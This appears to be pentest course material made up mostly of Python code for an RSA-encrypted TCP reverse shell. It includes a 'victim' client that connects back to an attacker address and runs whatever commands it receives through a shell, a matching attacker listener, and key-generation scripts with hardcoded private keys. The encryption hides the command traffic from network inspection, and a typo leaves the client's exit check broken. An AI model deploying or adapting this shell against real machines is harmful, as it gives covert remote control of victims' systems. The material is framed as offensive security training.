TCP reverse shell with RSA encryption
From course: Python For Offensive PenTest: A Complete Practical Course.
General index of the course
- Gaining persistence shells (TCP + HTTP):
- Advanced scriptable shells:
- Techniques for bypassing filters:
- Malware and crytography:
- Password Hickjacking:
- Privilege escalation:
First, we will generate a pair of keys (private and public) on client side (victim's machine) and on server side (attacker machine).
Gen keys
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
from Cryptodome.PublicKey import RSA
new_key = RSA.generate(4096) # generate RSA key that 4096 bits long
#Export the Key in PEM format, the PEM extension contains ASCII encoding
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.export_key("PEM")
public_key_file = open("public.pem", "wb")
public_key_file.write(public_key)
public_key_file.close()
private_key_file = open("private.pem", "wb")
private_key_file.write(private_key)
private_key_file.close()
print(public_key.decode())
print(private_key.decode())
RSA client side shell
import subprocess
import socket
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.PublicKey import RSA
def decrypt(cipher):
privatekey = '''-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAt9mjsBED9D/MYnU+W5+6aP9SS1vgL9X6bThNkGKsZ5ZVfnoK
4BxMBHI5Gi/YtoCJjyAGsWMpxy1fQ+F+ZWVAkwZDoQMWTrfZASHmQgB944PfGA7q
fn15kDXmCyvzbitRyWvTs1LDDNF7Q/54Qj82h/85ibOPzQrpwQTjEAs8CJ14YWXA
JnqOC6devaDYKdB7SSlueVtoQ8BxWc3hOJHJpvgZQ/6NixnICLIrFN0YbKZo4A0D
3yRJIdumZw8uqwEMeIt41ja6zOG3gKtsG8suBZ/MvqX0WgojWr6hNs1Q8h3LtiSs
PiUP/bTWD9zos8Yr7RuEabesjHlY0qcNzZ/YgKXdgxUkCikTjRon6Mvh7iWKAtEi
lQlDeBYMGUvFUQ5FMF5LZJ5Q/7+JXulv8WhqKTp4dGpB3kUWuN+ltxBr+IYPhpBf
McR97W+NuXDReUiIGFJpVI1m4AeCzz1BdA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kHV
OV0EE+wJ+3jcInHDuN9IfcJDDiwSTydsvWdVA23xnkn0qQtgUEwB8jcNHs6lWZ8z
7ltFda7FWOi4wG3ZDwAoxMM9cOuK+sTtrViGfJ7uW32nefGXc2Sa85F8ftdmOISE
pdq6Tj+1NnoOQxqpw83KkQQuArHJ0eqBAoIBAQDPchq4XMwlEfjVjZCJEX++UyEA
5H2hKbWOXU9WNhZCKmScrAlkW/6L0lHs1mngfxxavKOy2jIoUhb2/zeA/MKx6Jxa
PqiKaOdqTYn6yaLkRS+7jUndDeFqDVCLqt3NprltVzLphjOB0I8PsUnIj5lKcE5K
DjtbjnJYCjj0o346t3abOOoqxqYJmXgieRWkjjidkBOvL/Td7OZXM6jPVj744+ZE
K2D/g7XtAIOACmSpYTtHRl7bxcoKP7QiPksNG17w+LWUqF2TwBexyCDKCV5XSIB9
YVPwkPTGTNbOtTuTJk5hO+W4Nij4ERDdQlxd961YgRHORov+2sFREdhbrV0s
-----END RSA PRIVATE KEY-----'''
private_key = RSA.importKey(privatekey)
decryptor = PKCS1_OAEP.new(private_key)
return decryptor.decrypt(cipher).decode()
def encrypt(message):
publickey = '''-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEApceMHQ9c5Cdf+qgd4ASP
M7WNbKavEwat78bMHQVK6cRNm2XSWCLpTsYN2eUALV++dYi2Im0T92bqYojRm+p4
vVKOvrdmcmfnITEw/++pbvGZYRf2y0zsSJi1Mi+lfgQs56QXBMIU6IdeCL2C7cex
9LNJ98ipGeN6nBiaExI9he3PcivztD5vHowCwkbzAnpZgPamrN10/KukWKvJ3t05
bc0MskjkhVaaN55eidzAXUmYmxyoLeke1GssiU+TInZQXbSiUeeFsZpkMjYX4nCS
xT/TuuFaDy6tfpfM+ePNEgeLjn7WAJh2ApxaYhmqwbDTsXd0ldHc4iNeGmlaEGE9
DgXPSp7ljV9SZ7eO9LZuiERz003NrUqSKSHdYgEIH8wZrCiKSP471oNYn0ye+KdV
/v25dqTXApO3QO/LZrJQ8twQyASR1LB3tTVYGuNpRVLlNC4j4ivL22uDCbGOIBOa
KDmu/QR5imLdjj3alVg69Ci3It3jTlubtHDaXTVs+i1133fOKMnRPLmCHE1/6MMS
i1BzDF46Q2XJwjgDnH5rk70n7sVquQtpHZkpQsuSSrjiL9Bi3jYghReVfFHC7aNF
p42v7EMaLohpnFm6yKiEm5UacMs7rLdnUQtAKo3r5UiNAegY6h/ZDncGhah1e5wF
dBPIb9wJyTjPYTiTJ3rDQGECAwEAAQ==
-----END PUBLIC KEY-----'''
public_key = RSA.importKey(publickey)
encryptor = PKCS1_OAEP.new(public_key)
encryptedData = encryptor.encrypt(message)
return encryptedData
def connect():
s = socket.socket()
s.connect(('192.168.0.152', 8080))
while True:
command = s.recv(1024)
command = decrypt(command)
print (command)
if 'terminte' in command:
s.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
result = CMD.stdout.read()
print (len(result))
if len(result) > 470:
for i in range(0, len(result), 470):
chunk = result[0+i:470+i]
s.send(encrypt(chunk))
else:
s.send(encrypt(result))
connect()
RSA Enc Big Message
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
def decrypt(cipher):
privatekey = open("private.pem", "rb")
private_key = RSA.importKey(privatekey.read())
decryptor = PKCS1_OAEP.new(private_key)
print (decryptor.decrypt(cipher).decode())
def encrypt(message):
publickey = open("public.pem", "rb")
public_key = RSA.importKey(publickey.read())
encryptor = PKCS1_OAEP.new(public_key)
encrypted_data = encryptor.encrypt(message)
print(encrypted_data)
decrypt(encrypted_data)
message = 'H'*500
if len(message) > 470: # To check the size limitation of messages, which is 470 bites when key size is 4096 bits
for i in range(0, len(message), 470): # We will split the messages into chunks so it can be processed
chunk = message[0+i:470+i]
encrypt(chunk.encode())
else:
encrypt(message.encode())
RSA Enc Small messages
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
def encrypt(message):
publickey = open("public.pem", "rb")
public_key = RSA.importKey(publickey.read())
encryptor = PKCS1_OAEP.new(public_key)
encrypted_data = encryptor.encrypt(message)
print(encrypted_data)
return encrypted_data
message = 'H'*470 # Limitation on size of the clear text message is 470 bytes with a key size of 4096 bits
encrypted_data = encrypt(message.encode())
def decrypt(cipher):
privatekey = open("private.pem", "rb")
private_key = RSA.importKey(privatekey.read())
decryptor = PKCS1_OAEP.new(private_key)
print (decryptor.decrypt(cipher).decode())
decrypt(encrypted_data)
RSA Server side shell
import socket
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
def encrypt(message):
publickey = '''-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAt9mjsBED9D/MYnU+W5+6
aP9SS1vgL9X6bThNkGKsZ5ZVfnoK4BxMBHI5Gi/YtoCJjyAGsWMpxy1fQ+F+ZWVA
kwZDoQMWTrfZASHmQgB944PfGA7qfn15kDXmCyvzbitRyWvTs1LDDNF7Q/54Qj82
h/85ibOPzQrpwQTjEAs8CJ14YWXAJnqOC6devaDYKdB7SSlueVtoQ8BxWc3hOJHJ
pvgZQ/6NixnICLIrFN0YbKZo4A0D3yRJIdumZw8uqwEMeIt41ja6zOG3gKtsG8su
BZ/MvqX0WgojWr6hNs1Q8h3LtiSsPiUP/bTWD9zos8Yr7RuEabesjHlY0qcNzZ/Y
gKXdgxUkCikTjRon6Mvh7iWKAtEilQlDeBYMGUvFUQ5FMF5LZJ5Q/7+JXulv8Whq
KTp4dGpB3kUWuN+ltxBr+IYPhpBfMcR97W+NuXDReUiIGFJpVI1m4AeCzz1BdAM7
U928DcglK6IowMmN4McyKuv49YYPd7TNFjJWc7P6e19V3BsxA5jpCc6Dxp5AM6WC
0FqgSSOGVCIkcHT5wLcALyaXOaO0vhMgWWO233Of33wh/7oHclsc5r44MHlZrNSe
X2QIHCFU4Mwp1hutIuIKkn5dLt1qmt2CDUO/uxGbdTf667c9TLYcYWoi/eDBdrVx
7CkYI7g81RdcB6jGgbr9W4kCAwEAAQ==
-----END PUBLIC KEY-----'''
public_key = RSA.importKey(publickey)
encryptor = PKCS1_OAEP.new(public_key)
encryptedData = encryptor.encrypt(message)
return encryptedData
def decrypt(cipher):
privatekey = '''-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEApceMHQ9c5Cdf+qgd4ASPM7WNbKavEwat78bMHQVK6cRNm2XS
WCLpTsYN2eUALV++dYi2Im0T92bqYojRm+p4vVKOvrdmcmfnITEw/++pbvGZYRf2
y0zsSJi1Mi+lfgQs56QXBMIU6IdeCL2C7cex9LNJ98ipGeN6nBiaExI9he3Pcivz
tD5vHowCwkbzAnpZgPamrN10/KukWKvJ3t05bc0MskjkhVaaN55eidzAXUmYmxyo
Leke1GssiU+TInZQXbSiUeeFsZpkMjYX4nCSxT/TuuFaDy6tfpfM+ePNEgeLjn7W
AJh2ApxaYhmqwbDTsXd0ldHc4iNeGmlaEGE9DgXPSp7ljV9SZ7eO9LZuiERz003N
rUqSKSHdYgEIH8wZrCiKSP471oNYn0ye+KdV/v25dqTXApO3QO/LZrJQ8twQyASR
1LB3tTVYGuNpRVLlNC4j4ivL22uDCbGOIBOaKDmu/QR5imLdjj3alVg69Ci3It3j
TlubtHDaXTVs+i1133fOKMnRPLmCHE1/6MMSi1BzDF46Q2XJwjgDnH5rk70n7sVq
uQtpHZkpQsuSSrjiL9Bi3jYghReVfFHC7aNFp42v7EMaLohpnFm6yKiEm5UacMs7
rLdnUQtAKo3r5UiNAegY6h/ZDncGhah1e5wFdBPIb9wJyTjPYTiTJ3rDQGECAwEA
AQKCAgAIWpZiboBBVQSepnMe80veELOIOpwO6uK/9vYZLkeYoRZCEu73FwdHu24+
QS5xmuYHmTSIZpO/f1WnUnqxjy63Z54e2TIV6Mt6Xja4ZvTUTONsQ59hnkY34E4d
Mc52m7JBmAC68ibIku23pgkff1Ul3hUHofp3fgGTNSAqftxP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+bAvJ7Pe6Xof88DUrhoy3PnYHNYY
aH+BJDcZLlE/MpIXXgy+2afo7MkNBTS6jLPihnC447QhWZ2ufp2/dHnwy2XMJcsE
76tuOr1FELvtzE3z2BE9OvCJj4Mb3grRMD35Q1Aqd4TAgSF2Okl2EsmR/wf9
-----END RSA PRIVATE KEY-----'''
private_key = RSA.importKey(privatekey)
decryptor = PKCS1_OAEP.new(private_key)
dec = decryptor.decrypt(cipher)
return dec.decode()
def connect():
s = socket.socket()
s.bind(('192.168.0.152', 8080))
s.listen(1)
print('[+] Listening for incoming TCP connection on port 8080')
conn, addr = s.accept()
while True:
store = ''
command = input("Shell> ")
if 'terminate' in command:
conn.send('terminate'.encode())
conn.close()
break
else:
command = encrypt(command.encode())
conn.send(command)
result = conn.recv(1024)
try:
print(decrypt(result))
except:
print("[-] unable to decrypt/receive data!")
connect()